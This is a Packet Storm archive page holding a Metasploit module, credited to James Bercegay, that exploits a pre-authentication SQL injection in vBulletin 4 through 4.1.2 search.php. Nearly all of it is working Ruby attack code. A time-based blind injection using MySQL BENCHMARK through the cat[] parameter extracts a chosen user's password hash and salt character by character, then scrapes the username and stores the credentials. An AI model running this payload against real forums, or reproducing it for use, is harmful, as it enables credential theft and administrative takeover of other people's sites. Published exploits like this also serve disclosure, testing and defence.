what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

vBulletin 4.1.2 search.php SQL Injection

vBulletin 4.1.2 search.php SQL Injection
Posted May 30, 2011
Authored by James Bercegay | Site gulftech.org

vBulletin versions 4 through 4.1.2 are vulnerable to a preauth SQL Injection issue that may be used by an attacker to extract user credentials, and potentially gain administrative access, potentially leading to remote PHP code execution.

tags | exploit, remote, php, code execution, sql injection
SHA-256 | 66a76054bed8d3379af551d8013a3dd18f852a2244d56170a687f6adc9318f37

vBulletin 4.1.2 search.php SQL Injection

Change Mirror Download
# Requirements
require 'msf/core'

# Class declaration
class Metasploit3 < Msf::Auxiliary

# Includes
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient

# Initialize module
def initialize(info = {})

# Initialize information
super(update_info(info,
'Name' => 'vBulletin 4 <= 4.1.2 search.php SQL Injection',
'Description' => %q{
vBulletin versions 4 <= 4.1.2 are vulnerable to a preauth SQL Injection issue
that may be used by an attacker to extract user credentials, and potentially
gain administrative access, potentially leading to remote PHP code execution.

NOTES:
------------------------------------------------
* Do not set the BMCT option too high!
* Do not set the BMCT option too low either ...
* A delay of about three to five seconds is ideal
* Increase BMRC if you have issues with reliability
},
'Author' =>
[
# Exploit Only
'James Bercegay <james[at]gulftech.org> ( http://www.gulftech.org/ )'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'BID', '47281' ],
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'April 11, 2011',
'DefaultTarget' => 0 ))

register_options(
[
# Required
OptString.new('VDIR', [true, 'vBulletin directory', '/']),

# The number of function iterations to run during the benchmark
OptInt.new('BMCT', [true, 'Benchmark Counter' , 500000 ]),

# This is the benchmark delay threshold (in seconds)
OptInt.new('BMDF', [true, 'Benchmark Difference' , 3 ]),

# The number of benchmark tests to make during each data request.
# This number may be increased for accuracy if you have problems.
OptInt.new('BMRC', [true, 'Benchmark Request Count', 1 ]),

# Optional
OptBool.new( 'DBUG', [false, 'Verbose output? (Debug)' , nil ]),
OptString.new('AGNT', [false, 'User Agent Info' , 'Mozilla/5.0' ]),
OptInt.new( 'RLIM', [false, 'Random string limit' , 8 ]),

# Database table prefix
OptString.new('PREF', [false, 'Database table prefix', nil ]),

# Target user id
OptInt.new('TUID', [true, 'User ID to target', 1 ]),

], self.class)
end
#################################################

# Extract "Set-Cookie"
def init_cookie(data, cstr = true)

# Raw request? Or cookie data specifically?
data = data.headers['Set-Cookie'] ? data.headers['Set-Cookie']: data

# Beginning
if ( data )

# Break them apart
data = data.split(', ')

# Initialize
ctmp = ''
tmps = {}

# Parse cookies
data.each do | x |

# Remove extra data
x = x.split(';')[0]

# Seperate cookie pairs
if ( x =~ /([^;\s]+)=([^;\s]+)/im )

# Key
k = $1

# Val
v = $2

# Valid cookie value?
if ( v.length() > 0 )

# Build cookie hash
tmps[k] = v

# Report cookie status
print_status("Got Cookie: #{k} => #{v}");
end
end
end

# Build string data
if ( cstr == true )

# Loop
tmps.each do |x,y|

# Cookie key/value
ctmp << "#{x}=#{y};"
end

# Assign
tmps['cstr'] = ctmp
end

# Return
return tmps
else
# Something may be wrong
init_debug("No cookies within the given response")
end
end

#################################################

# Simple debugging output
def init_debug(resp, exit = 0)

# is DBUG set? Check it
if ( datastore['DBUG'] )

# Print debugging data
print_status("######### DEBUG! ########")
pp resp
print_status("#########################")
end

# Continue execution
if ( exit.to_i > 0 )

# Exit
exit(0)
end

end

#################################################

# Generic post wrapper
def http_post(url, data, headers = {}, timeout = 15)

# Protocol
proto = datastore['SSL'] ? 'https': 'http'

# Determine request url
url = url.length ? url: ''

# Determine User-Agent
headers['User-Agent'] = headers['User-Agent'] ?
headers['User-Agent'] : datastore['AGNT']

# Determine Content-Type
headers['Content-Type'] = headers['Content-Type'] ?
headers['Content-Type'] : "application/x-www-form-urlencoded"

# Determine Content-Length
headers['Content-Length'] = data.length

# Determine Referer
headers['Referer'] = headers['Referer'] ?
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['VDIR']}"

# Delete all the null headers
headers.each do | hkey, hval |

# Null value
if ( !hval )

# Delete header key
headers.delete(hkey)
end
end

# Send request
resp = send_request_raw(
{
'uri' => datastore['VDIR'] + url,
'method' => 'POST',
'data' => data,
'headers' => headers
},
timeout )

# Returned
return resp

end

#################################################

# Generic post multipart wrapper
def http_post_multipart(url, data, headers = {}, timeout = 15)

# Boundary string
bndr = Rex::Text.rand_text_alphanumeric(8)

# Protocol
proto = datastore['SSL'] ? 'https': 'http'

# Determine request url
url = url.length ? url: ''

# Determine User-Agent
headers['User-Agent'] = headers['User-Agent'] ?
headers['User-Agent'] : datastore['AGNT']

# Determine Content-Type
headers['Content-Type'] = headers['Content-Type'] ?
headers['Content-Type'] : "multipart/form-data; boundary=#{bndr}"

# Determine Referer
headers['Referer'] = headers['Referer'] ?
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['VDIR']}"

# Delete all the null headers
headers.each do | hkey, hval |

# Null value
if ( !hval )

# Delete header key
headers.delete(hkey)
end
end

# Init
temp = ''

# Parse form values
data.each do |name, value|

# Hash means file data
if ( value.is_a?(Hash) )

# Validate form fields
filename = value['filename'] ? value['filename']: init_debug("Filename value missing from #{name}", 1)
contents = value['contents'] ? value['contents']: init_debug("Contents value missing from #{name}", 1)
mimetype = value['mimetype'] ? value['mimetype']: init_debug("Mimetype value missing from #{name}", 1)
encoding = value['encoding'] ? value['encoding']: "Binary"

# Build multipart data
temp << "--#{bndr}\r\n"
temp << "Content-Disposition: form-data; name=\"#{name}\"; filename=\"#{filename}\"\r\n"
temp << "Content-Type: #{mimetype}\r\n"
temp << "Content-Transfer-Encoding: #{encoding}\r\n"
temp << "\r\n"
temp << "#{contents}\r\n"

else
# Build multipart data
temp << "--#{bndr}\r\n"
temp << "Content-Disposition: form-data; name=\"#{name}\";\r\n"
temp << "\r\n"
temp << "#{value}\r\n"
end
end

# Complete the form data
temp << "--#{bndr}--\r\n"

# Assigned
data = temp

# Determine Content-Length
headers['Content-Length'] = data.length

# Send request
resp = send_request_raw(
{
'uri' => datastore['VDIR'] + url,
'method' => 'POST',
'data' => data,
'headers' => headers
},
timeout)

# Returned
return resp

end

#################################################

# Generic get wrapper
def http_get(url, headers = {}, timeout = 15)

# Protocol
proto = datastore['SSL'] ? 'https': 'http'

# Determine request url
url = url.length ? url: ''

# Determine User-Agent
headers['User-Agent'] = headers['User-Agent'] ?
headers['User-Agent'] : datastore['AGNT']

# Determine Referer
headers['Referer'] = headers['Referer'] ?
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['VDIR']}"

# Delete all the null headers
headers.each do | hkey, hval |

# Null value // Also, remove post specific data, due to a bug ...
if ( !hval || hkey == "Content-Type" || hkey == "Content-Length" )

# Delete header key
headers.delete(hkey)
end
end

# Send request
resp = send_request_raw({
'uri' => datastore['VDIR'] + url,
'headers' => headers,
'method' => 'GET',
}, timeout)

# Returned
return resp

end

#################################################

# Used to perform benchmark querys
def sql_benchmark(test, table = nil, where = '1 LIMIT 1', tnum = nil )

# Init
wait = 0

# Defaults
table = table ? table: 'user'

# SQL Injection string used to trigger the MySQL BECNHMARK() function
sqli = Rex::Text.uri_encode("-99) UNION SELECT IF(#{test}, BENCHMARK(#{datastore['BMCT']}, MD5(1)), 0) FROM #{datastore['PREF']}#{table} WHERE #{where} -- /*")

# Post data used for the test
post = "contenttypeid=7&do=process&humanverify=1&cat[]=#{sqli}"

# Number of tests to run. We run this
# amount of tests and then look for a
# median value that is greater than
# the benchmark difference.
tnum = tnum ? tnum: datastore['BMRC']

# Run the tests
tnum.to_i.times do | i |

# Start time
bmc1 = Time.now.to_i

# Make the request
init_debug(http_post("search.php", post))

# End time
bmc2 = Time.now.to_i

# Total time
wait += bmc2 - bmc1
end

# Return the results
return ( wait.to_i / tnum.to_i )

end

#################################################

def get_users_data(snum, slim, cset, sqlf, sqlw)

# Start time
tot1 = Time.now.to_i

# Initialize
reqc = 0
retn = String.new

# Extract salt
for i in snum..slim

# Offset position
oset = ( i - snum ) + 1

# Loop charset
for cbit in cset

# Test character
cbit.each do | cchr |

# Start time (overall)
bmc1 = Time.now.to_i

# Benchmark query with escaped wildcard chars
bmcv = ( cchr.ord() == 37 || cchr.ord() == 95 ) ?
sql_benchmark("SUBSTRING(#{sqlf},#{i},1) LIKE BINARY CONCAT(CHAR(92),CHAR(#{cchr.ord}))", "user", sqlw, datastore['BMRC']):
sql_benchmark("SUBSTRING(#{sqlf},#{i},1) LIKE BINARY CHAR(#{cchr.ord})", "user", sqlw, datastore['BMRC'])

# Noticable delay? We must have a match! ;)
if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )

# Verbose
print_status(sprintf("Character %02s is %s", oset.to_s, cchr ))

# Append chr
retn << cchr

# Exit loop
break
end

# Counter
reqc += 1

end # each
end # for

# Host not vulnerable?
if ( oset != retn.length )

# Failure
print_error("Unable to extract character ##{oset.to_s}. Extraction failed!")
return nil
end
end # for

# End time (total)
tot2 = Time.now.to_i

# Benchmark totals
tot3 = tot2 - tot1

# Verbose
print_status("Found data: #{retn}")
print_status("Operation required #{reqc.to_s} requests ( #{( tot3 / 60 ).to_s} minutes )")

# Return
return retn
end

#################################################

def run

# Numeric test string
tstr = Time.now.to_i.to_s

# MD5 test string
tmd5 = Rex::Text.md5(tstr)

#################################################
# STEP 01 // Attempt to extract vBulletin version
#################################################

# Verbose
print_status("Attempting to determine vBulletin version")

# Banner grab request
resp = http_get("index.php")

# Extract vBulletin version information
if ( resp.body =~ /name="generator" content="vBulletin ([^"]+)"/ )

# Version
vers = $1.strip

# Version "parts"
ver1, ver2, ver3 = vers.split(/\./)

# vBulletin 4.0 - 4.1.2
if ( ver1.to_i != 4 || ver2.to_i > 1 || ( ver2.to_i > 0 && ver3.to_i > 2 ) )

# Exploit failed
print_error("Only vBulletin versions 4.1.2 and earlier are vulnerable")
init_debug(resp)
return
else

# Verbose
print_status("Target is running vBulletin version: #{vers}")
end
else

# Verbose
print_error("Unable to determine vBulletin version ...")
init_debug(resp)
end

#################################################
# STEP 02 // Check to make sure that the search
# feature is actually enabled before proceeding
#################################################

# Request the search page
resp = http_get("search.php?do=process")

# Is the search form present?
if ( resp.body !~ /id="searchform"/ )

# Verbose
print_error("The search feature seems to be disabled. Exploit failed!")
init_debug(resp)
return
end

#################################################
# STEP 03 // Make sure we have valid table prefix
#################################################

# Got database prefix?
if ( !datastore['PREF'] )

# Post data
post = "contenttypeid=7&do=process&humanverify=1&cat[]=)"

# Request the search page
resp = http_post("search.php?do=process", post)

# Attempt to extract the database table prefix
if ( resp.body =~ /DISTINCT socialgroupcategory.title from ([^\s]+)socialgroupcategory AS/ )

# Prefix
datastore['PREF'] = $1.strip

# Got prefix
print_good("Successfully extracted database prefix: #{datastore['PREF']}")

else

# Prefix
datastore['PREF'] = String.new()

# Verbose
print_status("Unable to determine table prefix. Using default values")
init_debug(resp)
end
end

#################################################
# STEP 04 // Calculate BENCHMARK() response times
#################################################

# Verbose
print_status("Calculating target response times")
print_status("Benchmarking #{datastore['BMRC']} normal requests")

# Normal request median (globally accessible)
datastore['BMC0'] = sql_benchmark("1=2")

# Verbose
print_status("Normal request avg: #{datastore['BMC0'].to_s} seconds")
print_status("Benchmarking #{datastore['BMRC']} delayed requests")

# Delayed request median
bmc1 = sql_benchmark("1=1")

# Verbose
print_status("Delayed request avg: #{bmc1.to_s} seconds")

# Benchmark totals
bmct = bmc1 - datastore['BMC0']

# Delay too small. The host may not be
# vulnerable. Try increasing the BMCT.
if ( bmct.to_i < datastore['BMDF'].to_i )

# Verbose
print_error("Either your benchmark threshold is too small, or host is not vulnerable")
print_error("To increase the benchmark threshold adjust the value of the BMDF option")
print_error("To increase the expression iterator adjust the value of the BMCT option")
return
else
# Host appears exploitable
print_status("Request Difference: #{bmct.to_s} seconds")
end

#################################################
# These are the charsets used for the enumeration
# operations and can be easily expanded if needed
#################################################

# Hash charset a-f0-9
hdic = [ ('a'..'f'), ('0'..'9') ]

# Salt charset ! - ~
sdic = [ ('!' .. '~') ]

#################################################
# STEP 05 // Attempt to extract user pass hash
#################################################

# Verbose
print_status("Attempting to gather user password hash")

# Get pass hash
if ( !( hash = get_users_data(
1, # Length Start
32, # Length Maximum
hdic, # Charset Array
"password", # SQL Field name
"userid=#{datastore['TUID'].to_s}" # SQL Where data
) ) )

# Failure
print_error("Unable to gather user pass hash. Exploit failed!!")
return
end

#################################################
# STEP 06 // Determine the length of user salt
#################################################

# The current limit for user salt length is hard
# coded to 30 chars via the database structure
for i in 1.upto(30)

# Benchmark
bmcv = sql_benchmark("LENGTH(salt)=#{i.to_s}", "user", "userid=#{datastore['TUID'].to_s}", datastore['BMRC'])

# Noticable delay? We must have a match! ;)
if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )

# Length
slen = i

# Verbose
print_status("Target is using a #{slen.to_s} character salt")
break
else

# Out of time ..
if ( i == 30 )

# Failure
print_error("Unable to determine salt length. Exploit failed!")
return
end
end
end

#################################################
# STEP 07 // Attempt to extract user pass salt
#################################################

# Verbose
print_status("Attempting to gather user password salt")

# Get pass salt
if ( !( salt = get_users_data(
1, # Length Start
slen, # Length Maximum
sdic, # Charset Array
"salt", # SQL Field name
"userid=#{datastore['TUID'].to_s}" # SQL Where data
) ) )

# Failure
print_error("Unable to gather user pass salt. Exploit failed!!")
return
end

#################################################
# STEP 08 // Attempt to gather target username
#################################################

# Verbose
print_status("Attempting to gather target username")

# Request profile data
resp = http_get("member.php?#{datastore['TUID'].to_s}")

# Extract username
if ( resp.body =~ /<span class="member_username">([^<]+)/ )

# Username
user = $1.strip()

# Verbose
print_good("Got username: #{user}")
else

# Unavailable
user = "N/A"

# Verbose
print_error("Unable to gather target username!")
end

# Verbose
print_status("USER: #{user} (ID: #{datastore['TUID'].to_s})")
print_status("HASH: #{hash}")
print_status("SALT: #{salt}")
print_status("Inserting credentials into the note database ...")

# Note data
ndat = {

# vBulletin directory
"VDIR" => datastore['VDIR'],

# Target User ID
"TUID" => datastore['TUID'],

# User name
"USER" => user,

# User hash
"HASH" => hash,

# User salt
"SALT" => salt,

# Version
"VERS" => vers,
}

# Save results
report_note(
:host => datastore['RHOST'],
:proto => ( !datastore['SSL'] ) ? 'HTTP': 'HTTPS',
:port => datastore['RPORT'],
:type => "vBulletin Credentials",
:data => ndat
)

end
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close